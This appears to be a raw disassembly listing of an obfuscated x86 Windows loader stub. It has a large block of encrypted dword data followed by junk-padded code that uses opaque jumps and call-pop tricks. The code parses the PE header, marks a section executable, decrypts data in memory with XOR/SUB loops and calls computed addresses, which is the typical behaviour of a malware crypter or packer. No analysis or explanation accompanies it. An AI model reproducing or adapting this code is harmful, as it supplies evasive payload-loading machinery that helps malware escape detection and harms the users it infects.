		dd 3702AD40h, 8125D167h, 6949288Ah, 0BA20D038h,	99053052h
		dd 59A90C7Eh, 5675B7BCh, 5637BE32h, 375DB132h, 595275B1h
		dd 5657B0B8h, 0BFCB4932h, 56D5B139h, 63B9F0A2h,	3903CB5h
		dd 0DC7C67C4h, 0AE3DD0E1h, 3A15D752h, 0DD364828h, 5E42B977h
		dd 0E2D5B132h, 0D23B92A8h, 0A3746044h, 59B6F409h, 565DC1B0h
		dd 56A35832h, 6165B132h, 6821763h, 761650E0h, 6DFB9FE9h
		dd 0D17AA177h, 56BAB167h, 5644333Dh, 0E5CEB132h, 5658595Fh
		dd 8891B132h, 1DDFC6D4h, 0D6EEACB3h, 4E333A9Bh,	59DBE811h
		dd 565DB0B5h, 13694432h, 5657B1CEh, 1B424D32h, 36D5B132h
		dd 56EAB6DBh, 7373C632h, 0A242B374h, 565DBEDBh,	0CFEA9A32h
		dd 32BE398Bh, 0D163F789h, 0F57C9954h, 0AAAF7653h, 5675B133h
		dd 56BAA0DBh, 0A3ECC032h, 32038855h, 14335CDh, 597B6295h
		dd 5F3C1BCEh, 36EAB132h, 0DFAB3054h, 37753A3Dh,	13D64D53h
		dd 9F5248CEh, 5656373Dh, 945EB132h, 0BFB5B13Eh,	56EAB13Ah
		dd 5B2C6A33h, 492D8F4h,	565DBDDBh, 0FBD40332h, 68DC9055h
		dd 0E6304BF9h, 3680D0D9h, 0C0EA0E54h, 0AA993A53h, 594675B1h
		dd 565DA7BCh, 56BF5832h, 1DCFB132h, 568C14CDh, 31197D51h
		dd 0C7BACFD4h, 36EDBDC0h, 0A03BD752h, 95D6F7C8h, 56AE5953h
		dd 0D70DB132h, 0A6AA35D8h, 0A45ED135h, 0A66BD153h, 2FC9F3E3h
		dd 0BFDB8184h, 565DB13Dh, 0F0CE3610h, 45FDABF8h, 2592B48Dh
		dd 6573AD2Bh, 4060BEFBh, 5975B132h, 56BAA1B7h, 56565832h
		dd 86AFB132h, 207F5CDFh, 75ED15AFh, 590E82EFh, 56EABDBEh
		dd 50FFBE32h, 59BAB132h, 565DB1B7h, 0AAF33832h,	0E8ED3ACAh
		dd 0AEAC5E87h, 59D58EB1h, 56E82DB6h, 57FABE32h,	0A3BAB132h
		dd 59A28EB1h, 56AE90B7h, 91D44432h, 8B424D26h, 362A4ECDh
		dd 56EABBDAh, 90A34732h, 10F5A39Eh, 0DD4AE166h,	0E1A1EBEBh
		dd 29D4D0E8h, 0D2A4B136h, 56D5B143h, 56EABADBh,	0B1D12D32h
		dd 7E8990CDh, 0D7619F3Eh, 56BD3C3Dh, 58BEB132h,	22ABB132h
		dd 0C3CEB242h, 4A2DCEC6h, 0C205BE26h, 5AC532FFh, 68D9BE32h
		dd 59AEB132h, 5657B0BCh, 23424832h, 59D5B132h, 56EA9DB5h
		dd 459DD132h, 0BBBAB132h, 3CE2C379h, 27A2909Ch,	0D3A28E93h
		dd 0F614B9DAh, 0BE8B56BBh, 56EAB139h, 0BA7D8E8Ch, 0B23520C5h
		dd 0E976DB1h, 0AAEB4E53h, 5656353Dh, 0BF5EB132h, 56D5B13Ah
		dd 70FE847Ch, 0D560CAB2h, 59AE76B1h, 565DA1B9h,	56A55832h
		dd 0F3DCB132h, 0F1DB2949h, 59998FE0h, 0A9FC580Ah, 598D4ECDh
		dd 56BAB6B2h, 57DFBE32h, 0AAAEB132h, 5347CEB1h,	56E5353Dh
		dd 0D520B132h, 59ECA14Dh, 567516B7h, 59FB4932h,	565DBDB5h
		dd 5022BE32h, 5957B132h, 56ABB1BAh, 52923A32h, 5AB53ACEh
		dd 0DF7A4452h, 56BAB130h, 0BF3CD052h, 56AEB1CEh, 5657A2DBh
		dd 0A51C8C32h, 0BB4379Fh, 35B368AFh, 0B8511FC5h, 0FC984EE0h
		dd 5959F6B9h, 56AEA5BDh, 56585832h, 9D98B132h, 0DE07EEBh
		dd 0FEBFDE8Eh, 0BC99DCB2h, 4753D1BEh, 2C5DB132h, 0CB801E15h
		dd 5DD0629Eh, 0BCD99DD5h, 0DD9A1C20h, 37333A54h, 3679EEB9h
		dd 0B6DD838Bh, 70E60F41h, 36CFB292h, 4D993054h,	0BF733036h
		dd 37C18A43h, 56EACADBh, 0DD7A4832h, 56BAB136h,	373CD152h
		dd 0BFAAF6B9h, 5657B13Eh, 94E79295h, 170C4459h,	0E5BBEB48h
		dd 0A379EEB9h, 0BFBEEE19h, 565DB13Fh, 1940FA2Bh, 7116ADF0h
		dd 6AFF33CEh, 533E32D5h, 469532CAh, 63F0BE31h, 0BFBAB132h
		dd 565DB126h, 0F43A5E4Ch, 0C7993702h, 4C6822D2h, 3D051E3Bh
		dd 5495F851h, 567D5873h, 983AB132h, 0E1B68F99h,	5F479FD3h
		dd 9E57B132h, 0E5634327h, 0A3074D65h, 368A6819h, 598D3A54h
		dd 56BAB1B7h, 37A4D032h, 57AFEDBBh, 5651333Dh, 0E5CBB132h
		dd 37223A8Ch, 0A9154E8Ah, 53CC44CDh, 59BAB132h,	565DA8BCh
		dd 0D5A1D132h, 5657B132h, 56ABBADAh, 6526332h, 15AEB4B2h
		dd 5C05B456h, 0FD49D06Ah, 56495952h, 0D5EEB132h, 6CF259AAh
		dd 0FA6B21DDh, 0B43352B6h, 0BCB2E7B3h, 0D7130572h, 0F939FC5h
		dd 37AE063Dh, 0A953D6DBh, 0D458D1CDh, 56ABB130h, 8760EF65h
		dd 598AD053h, 5675B3BDh, 306B3A32h, 3C9642B3h, 0AAEB3A53h
		dd 56473B3Dh, 5D42B132h, 33D5B132h, 0F01B580Dh,	6934757Bh
		dd 0AF730967h, 565458F1h, 7891B132h, 4A9CB5Fh, 658F2D3h
		dd 56D43D3Dh, 712B132h,	0C1FB0F52h, 0ECDCB96Fh,	53C6C2Dh
		dd 56AEBBDBh, 436E8E32h, 4320079Bh, 0BE353861h,	56EAB132h
		dd 0A49F3068h, 0BFBD4136h, 565DB121h, 9D20B933h, 1DEE2B98h
		dd 4B0D3C7Ch, 0AE620DF1h, 59065361h, 5675B6BEh,	5739BE32h
		dd 0AF5DB132h, 0CFCD152h, 0BF361882h, 56ABB135h, 0E781DC8Ah
		dd 378E6170h, 0E0CD2BBFh, 0EE42B6DDh, 565DB156h, 0A72FD752h
		dd 0DE58314Ah, 56ABB132h, 53065953h, 0DD12B132h, 567E5839h
		dd 8A54B132h, 7D8BD475h, 1858EC22h, 0A3968A60h,	56AB04DBh
		dd 453DD132h, 0C3EAB132h, 6C31879Bh, 4DB2D55Ah,	14AAD8Ah
		dd 82FC52E2h, 40EA9ECh,	0D7B063Dh, 529EB253h, 56EAB6DBh
		dd 97BD0132h, 1D77CD6h,	0D4527009h, 56AEB196h, 565D3A3Dh
		dd 5342B132h, 40D5B132h, 0C170A1A0h, 3665FA31h,	327C3052h
		dd 0BE5DC791h, 56AEB123h, 38A18CE5h, 6A976AACh,	0AAE68BDh
		dd 334B66A2h, 0BF14EFB2h, 56BAB13Ah, 0D2000F36h, 592BA340h
		dd 59968A53h, 56AB90B0h, 0F16BD132h, 0A3B1A22Ch, 56575853h
		dd 0DDB5B132h, 565DB135h, 0AE25D752h, 5936EF64h, 56ABB0BEh
		dd 0D63C4D32h, 36EAB132h, 30BF063Dh, 371A968Bh,	565DC3DBh
		dd 0CC234D32h, 51A73C25h, 0A3784ECBh, 56D5D3DBh, 56F85832h
		dd 0CE19B132h, 0C0EE7DF9h, 2FCB5AEh, 1169A1E7h,	0A2E53014h
		dd 0C6962BBFh, 0BEB5B6C2h, 56EAB135h, 0CFB38CD5h, 59BA40E9h
		dd 565DB1B5h, 36CFEB32h, 5654383Dh, 902BB132h, 3C1F30FCh
		dd 37A61827h, 591562CDh
		dd 0D0B54885h, 565DB120h, 56AEBCDBh, 0AFD8ED32h, 6DD93E3Dh
		dd 437FDD25h, 0D8B9B6Eh, 5675B6DBh, 0A4E09432h,	83A5A8F5h
		dd 572CBE6Bh, 0A357B132h, 56ABA2DBh, 0AA552032h, 6A5B7797h
		dd 0DA3EF660h, 2554561Fh, 24491076h, 56BA586Ah,	0E63CB132h
		dd 0F28D3129h, 0AC9E6463h, 8848F329h, 6A20FAACh, 0BF797724h
		dd 565DB120h, 0CAF85CA9h, 72F2DBF6h, 0C43C9B2Dh, 3E374615h
		dd 0BFBFFCCEh, 5675B120h, 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h
		dd 530AA820h, 0BA20742Dh, 9154D752h, 0BE8BC8C1h, 5675B132h
		dd 40503068h, 365A4135h, 8911BE63h, 37AC3A6Bh, 4542D1CEh
		dd 74D5B132h, 64708CE1h, 183D4183h, 79A9EB9Eh, 0FAC627FFh
		dd 0EC239523h, 51B8078Ah, 4D14D752h, 0EEE30EC5h, 0DD8BD110h
		dd 0D67AB977h, 56BAB133h, 0BF5A38CBh, 56AEB13Fh, 93F1742Ah
		dd 67F95F96h, 0A7679D15h, 5AAF3A6Bh, 58F7BE52h,	0BFBAB132h
		dd 565DB13Bh, 6B99BFC8h, 0FF037424h, 1122D065h,	5157BE36h
		dd 36EAB132h, 2E823054h, 1331D0F0h, 0DB524D22h,	56AEB127h
		dd 5657A1DBh, 0EDBDCA32h, 66D6A6CAh, 5627F863h,	0ED96B6BBh
		dd 5AFD3845h, 565DA1DBh, 78515F32h, 356DD01Fh, 61B9F5FCh
		dd 6F242303h, 42AF3AF5h, 463238CBh, 993BD752h, 0D452DEC7h
		dd 56AEB12Bh, 5657A5DBh, 5A421132h, 0DD51250Bh,	0E1906DA1h
		dd 0A3B764h, 0F4345025h, 0BF3CD040h, 56AEB13Bh,	940399F9h
		dd 0CA769E91h, 30B57847h, 0EFC8AE8Ch, 81A3AA4h,	0BE43D153h
		dd 565DB122h, 0DD302F09h, 7744658Fh, 0BD965B4Dh, 4FC59DEh
		dd 56EA3D3Dh, 372EB132h, 0AFBAA1F0h, 56565852h,	0D762B132h
		dd 8682252Ah, 0ECBEF123h, 0D313449Fh, 5103976Bh, 0EF13D175h
		dd 4552A6BEh, 9C5DB132h, 0F0CE3610h, 45FDABF8h,	2592B48Dh
		dd 1873AD2Bh, 0CBA0130h, 4C1DD06Dh, 0BF12A641h,	565DB135h
		dd 0E743BD4Fh, 0A999832Bh, 0BFA0A087h, 56C15835h, 8734B132h
		dd 0FB38D60Bh, 3646A02h, 747D0563h, 0C2569387h,	0D3DAFDC7h
		dd 51472EE9h, 862A4DC7h, 0EC8CD152h, 81FE2B26h,	0CEBD153h
		dd 565DA1DBh, 60EA5332h, 92F2FBDBh, 3E96982Fh, 573F4A73h
		dd 48BD04Eh, 5675BCDBh,	3D373432h, 0C90FF5BCh, 976CE3ABh
		dd 0DCDA1C6Ch, 5144097Bh, 56D5BDDBh, 0D77F6732h, 91269A35h
		dd 1B1999A2h, 46B4E0A3h, 0AEAEB132h, 0D1CC8EF5h, 46B09131h
		dd 0F904CD5Fh, 0A997191Ah, 0E827D1E2h, 68517FD5h, 0DB52D16Ah
		dd 56AEB132h, 0C36D0CBh, 56ABBFDBh, 92374A32h, 0B6EE4C52h
		dd 934F6AFEh, 0DB03E032h, 0B9E5F8B0h, 512ABE35h, 3657B132h
		dd 8314D7CEh, 0E1DAD0ADh, 0DCE5BD72h, 5675B138h, 0D7E0E252h
		dd 22C7BBE2h, 8E25D076h, 56503D3Dh, 0DDA4B132h,	56D5B133h
		dd 0D5E5E3C7h, 5675B13Ah, 56B8393Dh, 373DB132h,	0DEA1803Dh
		dd 5657B13Dh, 56ABBBDBh, 90D15A32h, 9F6CF400h, 0CEE0407h
		dd 56BB383Dh, 55A5B132h, 56A458F1h, 6C74B132h, 0D0AAE54Fh
		dd 56677Fh, 0E76838CBh,	0AE725812h, 5353D0CBh, 0E95DB132h
		dd 0B52E4F0Ah, 0F5144F1h, 0B8Fh, 0B70F6000h, 8F0FF6h, 61000000h
		dd 14E952h, 47690000h, 0BCA9EB68h, 6CD588D5h, 825A1560h
		dd 0B67AF512h, 0E80226h, 5A000000h, 9F5EA81h, 8B0F07F0h
		dd 14h,	0B48EBB60h, 8E94F9Eh, 73000000h, 25330CFBh, 619B5921h
		dd 12E9h, 0D6F3EA00h, 6C1DD919h, 8763A9E8h, 83F4191Bh
		dd 0F346E2Ch, 186h, 52F8FC00h, 0B1828BF8h, 6007E920h, 800F60h
		dd 61000000h, 612CE280h, 0C64E6DB9h, 0E1F7F941h, 8D0F5AFCh
		dd 1Ah,	13E960h, 7EF50000h, 4A0E5765h, 0D57A0A24h, 0A6D195A6h
		dd 0D61E61A9h, 3905615Eh, 0E9000030h, 10h, 0EEDD6106h
		dd 4864A829h, 0CEF08732h, 39130CDBh, 0FFFFFF25h, 9E9607Fh
		dd 12000000h, 79D4B3D7h, 692AF1A5h, 810F61F8h, 1Eh, 18810Fh
		dd 13E90000h, 0A8000000h, 7459C083h, 5732F830h,	0B8B0B285h
		dd 9C1FC6DBh, 8289C63Fh, 7E920B1h, 12E9h, 0BBED7E00h, 0DC12D329h
		dd 4D6C90CBh, 7DAB23D4h, 5AE89F1Bh, 63C88060h, 870F57h
		dd 5A000000h, 890F5961h, 15h, 10E9h, 50E67100h,	9626C269h
		dd 0D05D324Eh, 0F7712A29h, 0EE9C3FCh, 0C000000h, 17EBDEF9h
		dd 56912C5Ch, 0C2AAE3E8h, 840F5129h, 0Ch, 7E9h,	5EADFB00h
		dd 0CCA0DC21h, 88C0F52h, 60000000h, 0F5FD381h, 0E861699Fh
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 7F00B4Ah
		jmp	loc_5F4916
; ---------------------------------------------------------------------------
		dd 0BFCD4E8Bh
; ---------------------------------------------------------------------------
		pop	ds
		pop	ds


loc_5F4916:				; CODE XREF: sdfs____:005F490Bj
		jnb	loc_5F491D
		cmc


loc_5F491D:				; CODE XREF: sdfs____:loc_5F4916j
		jg	loc_5F4924
		clc


loc_5F4924:				; CODE XREF: sdfs____:loc_5F491Dj
		mov	ecx, eax
		pusha
		jl	loc_5F4931
		mov	bx, 29DDh


loc_5F4931:				; CODE XREF: sdfs____:005F4927j
		mov	ch, 0C2h
		popa
		call	near ptr dword_5F4430+34Eh
		pusha
		mov	dh, bh
		and	ebx, 6E80EEE1h
		popa
		xor	edx, edx
		clc
		div	ecx
		jmp	loc_5F4960
; ---------------------------------------------------------------------------
		db 91h,	90h, 0B2h
		dd 51AC7EDh, 93AC5D16h,	1DA093EFh, 7D2298EDh
; ---------------------------------------------------------------------------


loc_5F4960:				; CODE XREF: sdfs____:005F4948j
		mov	eax, edx
		clc
		pop	edx
		pusha
		jmp	loc_5F4975
; ---------------------------------------------------------------------------
		dw 662Eh
		dd 0EB7851D1h, 2CB32FD9h
		db 3Eh
; ---------------------------------------------------------------------------


loc_5F4975:				; CODE XREF: sdfs____:005F4965j
		jmp	loc_5F4989
; ---------------------------------------------------------------------------
		dw 3AA0h
		dd 2C6653DCh, 0FDEC8EE3h, 45CD2C38h
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5F4989:				; CODE XREF: sdfs____:loc_5F4975j
		popa
		pop	ecx
		jle	locret_5F4992
		cmc

locret_5F4992:				; CODE XREF: sdfs____:005F498Bj
		retn
; ---------------------------------------------------------------------------
		jnp	loc_5F49AC
		pusha
		cld
		jmp	loc_5F49AB
; ---------------------------------------------------------------------------
		dd 0A1A2A58h, 0F794A210h
		db 0A9h, 40h, 3Dh
; ---------------------------------------------------------------------------


loc_5F49AB:				; CODE XREF: sdfs____:005F499Bj
		popa


loc_5F49AC:				; CODE XREF: sdfs____:005F4993j
		mov	eax, eax
		pusha
		stc
		jmp	loc_5F49BC
; ---------------------------------------------------------------------------
		db 40h,	6Ch, 1Dh
; ---------------------------------------------------------------------------
		shl	dword ptr [edi+5], 0D1h


loc_5F49BC:				; CODE XREF: sdfs____:005F49B0j
		popa
		mov	eax, eax
		pusha
		xor	si, 7B4Eh
		movsx	esi, bx
		popa
		lea	eax, [ebp+7EFCEA0h]
		cmc
		jmp	loc_5F49DC
; ---------------------------------------------------------------------------
		db 5Ah,	0F9h, 2Ch
		dd 0CE4EBA9Ch
; ---------------------------------------------------------------------------


loc_5F49DC:				; CODE XREF: sdfs____:005F49D0j
		call	eax
		cld
		mov	ax, cx
		cld
		lea	eax, [ebp+7F009C4h]
		jmp	loc_5F4A01
; ---------------------------------------------------------------------------
		dw 149Bh
		dd 3D4616BCh, 5A0A04AFh, 85849E81h, 14B39781h
		db 34h
; ---------------------------------------------------------------------------


loc_5F4A01:				; CODE XREF: sdfs____:005F49E9j
		mov	[ebp+7E9214Dh],	eax
		cmc
		lea	eax, [ebp+7F00B23h]
		jo	loc_5F4A1B
		jp	loc_5F4A1B
		cmc


loc_5F4A1B:				; CODE XREF: sdfs____:005F4A0Ej
					; sdfs____:005F4A14j
		mov	[ebp+7E91F15h],	eax
		jmp	loc_5F4A35
; ---------------------------------------------------------------------------
		dw 0F94h
		dd 0D816C6F0h, 0BB9ECE5Dh, 0B7BF75A0h
		db 85h
; ---------------------------------------------------------------------------


loc_5F4A35:				; CODE XREF: sdfs____:005F4A21j
		mov	eax, 0
		jno	loc_5F4A41
		cmc


loc_5F4A41:				; CODE XREF: sdfs____:005F4A3Aj
		jg	loc_5F4A51
		pusha
		jz	$+6
		push	esi
		pop	edi
		popa


loc_5F4A51:				; CODE XREF: sdfs____:loc_5F4A41j
		or	eax, eax
		jz	loc_5F4BAE
		jmp	loc_5F4A69
; ---------------------------------------------------------------------------
		dw 0E2ACh
		dd 0BA8D1ABFh, 670FC175h
		db 33h
; ---------------------------------------------------------------------------


loc_5F4A69:				; CODE XREF: sdfs____:005F4A59j
		mov	byte ptr [ebp+7E92659h], 56h
		jp	loc_5F4A7C
		pusha
		cmc
		xor	dl, 0B7h
		popa


loc_5F4A7C:				; CODE XREF: sdfs____:005F4A70j
		pusha
		movzx	edx, si
		add	al, 27h
		popa
		push	0A9C530DFh
		pusha
		jo	loc_5F4A95
		mov	esi, 2E0E0283h


loc_5F4A95:				; CODE XREF: sdfs____:005F4A8Aj
		jmp	loc_5F4AA5
; ---------------------------------------------------------------------------
		dw 1802h
		dd 0A3EDD65Fh, 7EB47740h
; ---------------------------------------------------------------------------
		push	ss


loc_5F4AA5:				; CODE XREF: sdfs____:loc_5F4A95j
		popa
		push	dword ptr [ebp+7E90B11h]
		jmp	loc_5F4AB7
; ---------------------------------------------------------------------------
		mov	[esi-288EF5FBh], eax


loc_5F4AB7:				; CODE XREF: sdfs____:005F4AACj
		lea	eax, [ebp+7EC9FDBh]
		cmc
		call	eax
		jz	loc_5F4AC7
		stc


loc_5F4AC7:				; CODE XREF: sdfs____:005F4AC0j
		push	eax
		stc
		lea	ecx, [ebp+7E92B29h]
		stc
		jl	loc_5F4AED
		pusha
		jmp	loc_5F4AE8
; ---------------------------------------------------------------------------
		dd 0A6FDFA1Dh, 5022DD0Dh, 0F39C3355h
; ---------------------------------------------------------------------------


loc_5F4AE8:				; CODE XREF: sdfs____:005F4AD7j
		mov	bx, 1ABh
		popa


loc_5F4AED:				; CODE XREF: sdfs____:005F4AD0j
		push	ecx
		jmp	loc_5F4AFF
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
		adc	[eax-64BD15FEh], edi
		mov	eax, 0C96B469Ch


loc_5F4AFF:				; CODE XREF: sdfs____:005F4AEEj
		push	4
		pusha
		jmp	loc_5F4B19
; ---------------------------------------------------------------------------
		db 0D8h
		dd 0A34C92BAh, 0CAB5DA51h, 7E3D0FF7h, 333D02FDh
		db 64h
; ---------------------------------------------------------------------------


loc_5F4B19:				; CODE XREF: sdfs____:005F4B02j
		pusha
		call	near ptr loc_5F4B22+2
		dec	ebp
		pusha
		in	al, dx


loc_5F4B22:				; CODE XREF: sdfs____:005F4B1Ap
		psubusb	mm3, qword ptr [esi+0Fh]
		mov	bh, 0C7h
		popa
		popa
		push	1000h
		jmp	loc_5F4B42
; ---------------------------------------------------------------------------
		dd 6D4C84F7h, 59926900h, 0F31C3436h
		db 0E0h, 25h
; ---------------------------------------------------------------------------


loc_5F4B42:				; CODE XREF: sdfs____:005F4B2Fj
		push	dword ptr [ebp+7E9120Dh]
		cmc
		js	loc_5F4B56
		pusha
		mov	ax, di
		mov	ch, 0E9h
		popa


loc_5F4B56:				; CODE XREF: sdfs____:005F4B49j
		call	eax
		jmp	loc_5F4B6C
; ---------------------------------------------------------------------------
		db 43h,	0A2h, 95h
		dd 3B3EFBB5h, 0C41C5753h, 0CB5AF4EAh
; ---------------------------------------------------------------------------


loc_5F4B6C:				; CODE XREF: sdfs____:005F4B58j
		mov	edi, [ebp+7E9120Dh]
		ja	loc_5F4B79
		clc


loc_5F4B79:				; CODE XREF: sdfs____:005F4B72j
		add	edi, [edi+3Ch]
		stc
		add	edi, 0F8h
		pusha
		call	sub_5F4B93
		push	ecx
		mov	ah, 20h
		and	dh, [ebp-0A6B07DEh]
		dec	esp

; =============== S U B	R O U T	I N E =======================================



sub_5F4B93	proc near		; CODE XREF: sdfs____:005F4B84p
		pop	esi
		popa
		mov	dword ptr [edi+24h], 60000020h
		jge	loc_5F4BAE
		jmp	loc_5F4BAE
; ---------------------------------------------------------------------------
		db 1
		dd 0E50CF554h
		db 3Eh,	7Dh
; ---------------------------------------------------------------------------


loc_5F4BAE:				; CODE XREF: sdfs____:005F4A53j
					; sub_5F4B93+9j ...
		lea	ebx, [ebp+7E92089h]
		pusha
		and	edx, 67D34B2Bh
		stc
		popa
		mov	eax, [ebx]
		stc
		jbe	loc_5F4BD0
		pusha
		mov	esi, 7DA78AEFh
		movsx	edx, dx
		popa


loc_5F4BD0:				; CODE XREF: sub_5F4B93+2Dj
		or	eax, eax
		jz	loc_5F4BFE
		jg	loc_5F4BEA
		jmp	loc_5F4BEA
; ---------------------------------------------------------------------------
		db 0CEh
		dd 3374D2D5h
		db 8Dh,	0B9h
; ---------------------------------------------------------------------------


loc_5F4BEA:				; CODE XREF: sub_5F4B93+45j
					; sub_5F4B93+4Bj
		mov	eax, [eax]
		clc
		mov	[ebx+4], eax
		pusha
		cmc
		jbe	loc_5F4BFD
		or	ax, 2A05h


loc_5F4BFD:				; CODE XREF: sub_5F4B93+5Fj
		popa


loc_5F4BFE:				; CODE XREF: sub_5F4B93+3Fj
		mov	ecx, 234CF6h
		call	sub_5F4C0F
		or	[edi+42h], edx
		push	es
		sbb	bh, [esi+3Ch]
sub_5F4B93	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F4C0F	proc near		; CODE XREF: sub_5F4B93+70p
		mov	ebx, 7E5BB4C6h
		pop	edi
		pusha
		stc
		jmp	loc_5F4C2B
; ---------------------------------------------------------------------------
		dd 0EF1E78EEh, 9BBBC734h, 41669E13h
		db 0C9h, 0AEh, 0C6h
; ---------------------------------------------------------------------------


loc_5F4C2B:				; CODE XREF: sub_5F4C0F+8j
		popa
		add	edi, 70D0h
		xor	ecx, 3E9E50BCh
		push	1C10h
		jnb	$+6
		pop	eax
		push	ecx
		pusha
		mov	edi, eax
		mov	dx, di
		popa
		pop	ebx


loc_5F4C4D:				; CODE XREF: sub_5F4C6B+2Aj
		push	dword ptr [edi]
		movzx	ebx, dx
		pop	edx
		sub	edx, 59B284E7h
		js	loc_5F4C6C
		call	sub_5F4C6B
		out	dx, eax
		mov	[edi-44h], cl
		add	eax, [edi-6Eh]
sub_5F4C0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F4C6B	proc near		; CODE XREF: sub_5F4C0F+50p
		pop	ebx


loc_5F4C6C:				; CODE XREF: sub_5F4C0F+4Aj
		sub	edx, 631F779h
		mov	ebx, ecx
		add	edx, 3F4FC2C6h
		mov	ch, bh
		mov	[edi], edx
		pusha
		sbb	cl, 0D1h
		popa
		sub	edi, 2
		jnb	loc_5F4C90
		mov	cx, 9A1Fh


loc_5F4C90:				; CODE XREF: sub_5F4C6B+1Bj
		dec	edi
		dec	edi
		sub	eax, 1
		jnz	loc_5F4C4D
		clc
		lea	ecx, [ebp+7F00F8Ch]
		push	0
		push	edx
		call	sub_5F4CAD
		and	[edx-3Dh], bl
sub_5F4C6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F4CAD	proc near		; CODE XREF: sub_5F4C6B+3Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5F4CAD	endp

; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_5F4CCF
; ---------------------------------------------------------------------------
		dec	edx
		retn
; ---------------------------------------------------------------------------
		db 3, 3Ch, 84h
		dd 758AC8F3h
; ---------------------------------------------------------------------------
		adc	[ebx], esi
		cwde


loc_5F4CCF:				; CODE XREF: sdfs____:005F4CBEj
		mov	al, 1Eh
		mov	[ebp+7E9320Dh],	ecx
		mov	[ebp+7E91571h],	ebx
		mov	dword ptr [ebp+7E922E5h], 6450h
		push	0
		push	ebx
		call	sub_5F4CF2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F4CF2	proc near		; CODE XREF: sdfs____:005F4CEAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5F4CF2	endp

; ---------------------------------------------------------------------------
		std
		cli
		fld	qword ptr [ecx-4ABEB310h]
		push	ds
		mov	dword ptr [ebp+7E922B1h], 0
		adc	bl, 1Ch
		push	dword ptr [ebp+7E91F55h]
		mov	[ebp+7E93209h],	ecx
		call	dword ptr [ebp+7E92285h]
		jmp	loc_5F4D3A
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		or	eax, 89BE9809h
		movsd
		rcr	edi, 0D7h
		push	ss


loc_5F4D3A:				; CODE XREF: sdfs____:005F4D2Aj
		add	si, 0FD32h
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_5F4D6A
; ---------------------------------------------------------------------------
		db 9Dh
		dd 228DF298h, 9C91D2A0h, 5DE860E9h, 6970FA1Eh, 3A34E422h
		dd 77858A78h, 7BEF2BE3h
		db 9Ah,	80h
; ---------------------------------------------------------------------------


loc_5F4D6A:				; CODE XREF: sdfs____:005F4D49j
		call	sub_5F4D80
		xchg	ecx, [edx+4A92E00Ah]
		mov	al, 0A0h
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0C1h, 4Dh, 0D7h
		dd 41BDE674h

; =============== S U B	R O U T	I N E =======================================



sub_5F4D80	proc near		; CODE XREF: sdfs____:loc_5F4D6Ap

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005990C8 SIZE 00000047 BYTES

		push	edx
		jmp	loc_5F4D8B
; ---------------------------------------------------------------------------
		dw 5B95h
		db 0DCh, 0A2h, 0E8h
; ---------------------------------------------------------------------------


loc_5F4D8B:				; CODE XREF: sub_5F4D80+1j
		pop	edi
		pop	ebx
		mov	ecx, [ebp+7E90909h]
		add	ebx, 5FACh
		push	eax
		mov	esi, [ebp+7E91855h]
		pop	ecx
		push	17B4h
		jmp	loc_5F4DB4
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0D63AB217h, 0A54D092h
; ---------------------------------------------------------------------------


loc_5F4DB4:				; CODE XREF: sub_5F4D80+26j
		pop	edx
		jb	loc_5F4DC1
		or	esi, 3A790FC0h


loc_5F4DC1:				; CODE XREF: sub_5F4D80+35j
					; sub_5F4D80+B7j
		push	dword ptr [ebx]
		mov	si, ax
		pop	eax
		pusha
		push	esi
		movzx	ecx, dx
		pop	edx
		clc
		popa
		sub	eax, 3EBDBEA0h
		pusha
		mov	[ebp+7E901BDh],	edx
		sub	ecx, [ebp+7E91F4Dh]
		popa
		xor	eax, 2335A8B1h
		jmp	loc_5F4DF6
; ---------------------------------------------------------------------------
		dw 35A2h
		dd 0B5844E50h
		db 54h,	19h
; ---------------------------------------------------------------------------


loc_5F4DF6:				; CODE XREF: sub_5F4D80+69j
		xor	eax, 610C5AF6h
		mov	edi, eax
		mov	[ebx], eax
		jmp	loc_5F4E0A
; ---------------------------------------------------------------------------
		push	74699AFAh


loc_5F4E0A:				; CODE XREF: sub_5F4D80+80j
		sub	ebx, 4
		mov	cx, 17CAh
		sub	edx, 1
		jnz	loc_5F4E31
		adc	di, 51Ch
		jmp	loc_5F4E4F
; ---------------------------------------------------------------------------
		dd 9B8B6C26h, 44D69403h, 3F35FB5Ah
		db 39h
; ---------------------------------------------------------------------------


loc_5F4E31:				; CODE XREF: sub_5F4D80+94j
		push	ebx
		mov	cx, 4691h
		pop	edi
		jmp	loc_5F4DC1
; ---------------------------------------------------------------------------
		dd 5A37651Eh, 51FB46ACh, 83F072E2h, 0A0C9EB48h
		db 0B3h, 0CFh, 0EFh
; ---------------------------------------------------------------------------


loc_5F4E4F:				; CODE XREF: sub_5F4D80+9Fj
		jmp	loc_5F4E5F
; ---------------------------------------------------------------------------
		dd 5DC4A548h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5F4E5F:				; CODE XREF: sub_5F4D80:loc_5F4E4Fj
		jmp	loc_5F5990
; ---------------------------------------------------------------------------
		push	7F01200h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7F01322h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7F014F0h
		jmp	loc_5990C8
